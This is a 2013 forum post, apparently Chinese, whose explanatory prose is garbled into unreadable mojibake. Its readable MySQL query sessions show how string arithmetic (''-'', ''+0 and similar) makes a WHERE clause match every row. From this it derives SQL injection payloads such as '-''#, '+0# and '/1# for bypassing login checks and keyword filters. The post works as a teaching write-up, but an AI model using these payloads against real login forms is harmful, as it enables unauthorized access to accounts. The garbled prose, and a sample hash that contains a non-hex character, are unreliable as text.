admin ·¢±íÓÚ 2013-11-23 16:20:34

ʹÓÃMySQL×Ö·û´®ÔËËãʵʩ¾«ÇÉ»¯SQL×¢Èë¹¥»÷


ÎÒÃÇÏÈÀ´¿´ÕâÑùÒ»¸ö³¡¾°¡£
ÓÐÒÔϱí½á¹¹£º

mysql> desc admin;
+----------+--------------+------+-----+---------+----------------+
| Field    | Type         | Null | Key | Default | Extra          |
+----------+--------------+------+-----+---------+----------------+
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
| name   | char(32)   | NO   | UNI | NULL    |                |
| password | char(32)   | NO   | UNI | NULL    |                |
+----------+--------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
Ö´ÐÐselect * from admin;£¬³É¹¦·µ»ØËùÓмǼÄÚÈÝ¡£


+----+--------+----------------------------------+
| id | name   | password                         |
+----+--------+----------------------------------+
|1 | admin| c6dabaeeb05f2bf8690bab15e3afb022 |
|2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|4 | n00b   | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set (0.00 sec)
Ö´ÐÐselect * from admin where name=¡±;£¬Ã»ÓÐÆ¥Åäµ½ÈκμǼ¡£

mysql> select * from admin where name = '';
Empty set (0.00 sec)
ÄÇôÎÒÃÇÀ´Ö´ÐÐselect * from admin where name = ¡±-¡±;


+----+--------+----------------------------------+
| id | name   | password                         |
+----+--------+----------------------------------+
|1 | admin| c6dabaeeb05f2bf8690bab15e3afb022 |
|2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|4 | n00b   | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set, 3 warnings (0.00 sec)
¿ÉÒÔ¿´µ½£¬Ò²³É¹¦·µ»ØÁËËùÓмǼ£¬µ«ÊÇÓÐÈý¸öwarnings£¬ÎÒÃÇ¿´Ï¾¯¸æÐÅÏ¢£º

mysql> show warnings;
+---------+------+------------------------------------------
| Level   | Code | Message
+---------+------+------------------------------------------
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)
Ìáʾ½Ø¶ÏÁË´íÎóµÄDOUBLEÖµ¡¯adminµÈµÈ£¬µ±ÔÚÒ»¸ö×Ö·û´®ÀàÐ͵ÄÁÐÖÐʹÓÃÊý×ÖÀàÐ͵Äֵʱ»á²úÉúÕâÀྯ¸æ¡£ ÎÒÃǵ¥¶ÀÖ´ÐÐselect ¡±-¡±;¿´Ï½á¹û¡£

mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|   0 |
+-------+
1 row in set (0.00 sec)
·µ»Ø0£¬Ò²¾ÍÊÇ˵ÎÒÃDzéѯµÄÿһÐеÄname×Ӷζ¼»áºÍ0×ö¶Ô±È£¬ÕâÑù¾Í»á´¥·¢Ò»¸öÀàÐÍת»»£¬¶Ôname×Ö¶Îת»»µÄ½á¹ûÒ²±ØÈ»Îª0£º

mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+-----------------------------------------------------+
| CAST((select name from admin limit 1,1) as DECIMAL) |
+-----------------------------------------------------+
|                                                   0 |
+-----------------------------------------------------+
1 row in set, 1 warning (0.00 sec)
Òò´ËwhereÓï¾ä¹¹³ÉÁËÏàµÈµÄÌõ¼þ£¬where 0=¡±=¡±£¬¼Ç¼±»·µ»Ø¡£

SQL×¢È볡¾°: http://www.sqlzoo.net/hack/




Èç¹ûÎÒÃÇÏëÈÆ¹ýµÇ¼ÑéÖ¤£¬ÉÏÃæÒѾ­¸ø³öÁËÒ»¸ö´«Í³µÄtips£ºÓû§ÃûÃÜÂë¾ùΪ¡¯ or ¡±=¡¯ ÕâÑùµÄÂß¼­ºÍÈÆ¹ý·½Ê½ºÜ³£¼û£¬ÕâÀï²»ÔÙ¾ßÌå½âÊÍÁË¡£

ÄÇôͨ¹ýÕâ´Î·¢Ïֵļ¼ÇÉ£¬¿ÉÒÔʹÓÃÒ»ÖÖÏ൱¾«Çɵķ½Ê½£¬ÇÒ±ÜÃâʹÓÃSQL¹Ø¼ü×Ö£¬À´ÈƹýµÇ¼¡£




½ö½öÔÚname×Ó¶ÎÊäÈ롯-¡±#£¬passwordÁô¿Õ£¬¼´¿ÉÈÆ¹ýµÇ¼ÑéÖ¤¡£

   

³ýÁË¡±-¡±£¬ÆäËûÔËËã·û¡±+¡±,¡±*¡±,¡±^¡±¶¼»áÓÐͬÑùµÄЧ¹û¡£ ÔÙ¼ÌÐø½øÐвâÊÔ£¬ÎÒÃÇ·¢ÏÖÖ»ÒªÔڱպϵ¥ÒýºÅµÄÇé¿öϵ¹¹Ôì²éѯ½á¹ûΪ0µÄÌõ¼þ¼´¿É


mysql> select ''/1;
+------+
| ''/1 |
+------+
|    0 |
+------+
1 row in set (0.00 sec)
ÀàËÆµÄ¡±+0,¡±-0,¡±*0,¡±^0¾ù¿É¡£ ÄÇô¸Õ²ÅµÄ×¢Èë»·¾³ÎÒÃÇʹÓÃÒÔϵľ«¼òpayloadͬÑù¿ÉÒÔÈÆ¹ýµÇ¼ÈÏÖ¤£º ¡®+0#£¬¡¯/1#£¬¡¯^0£¬¡¯-0#µÈµÈ¡£

ÀûÓÃÕâÑùÒ»ÖÖÌØÐÔ£¬µ±Ä¿±ê¶Ô×¢ÈëÓï¾äÖеÄSQL¹Ø¼ü×Ö½øÐйýÂËʱ£¬±ã¿Éͨ¹ýÕâÑùÒ»ÖÖ·½Ê½½øÐÐBypass¡£

Ò³: [1]
²é¿´ÍêÕû°æ±¾: ʹÓÃMySQL×Ö·û´®ÔËËãʵʩ¾«ÇÉ»¯SQL×¢Èë¹¥»÷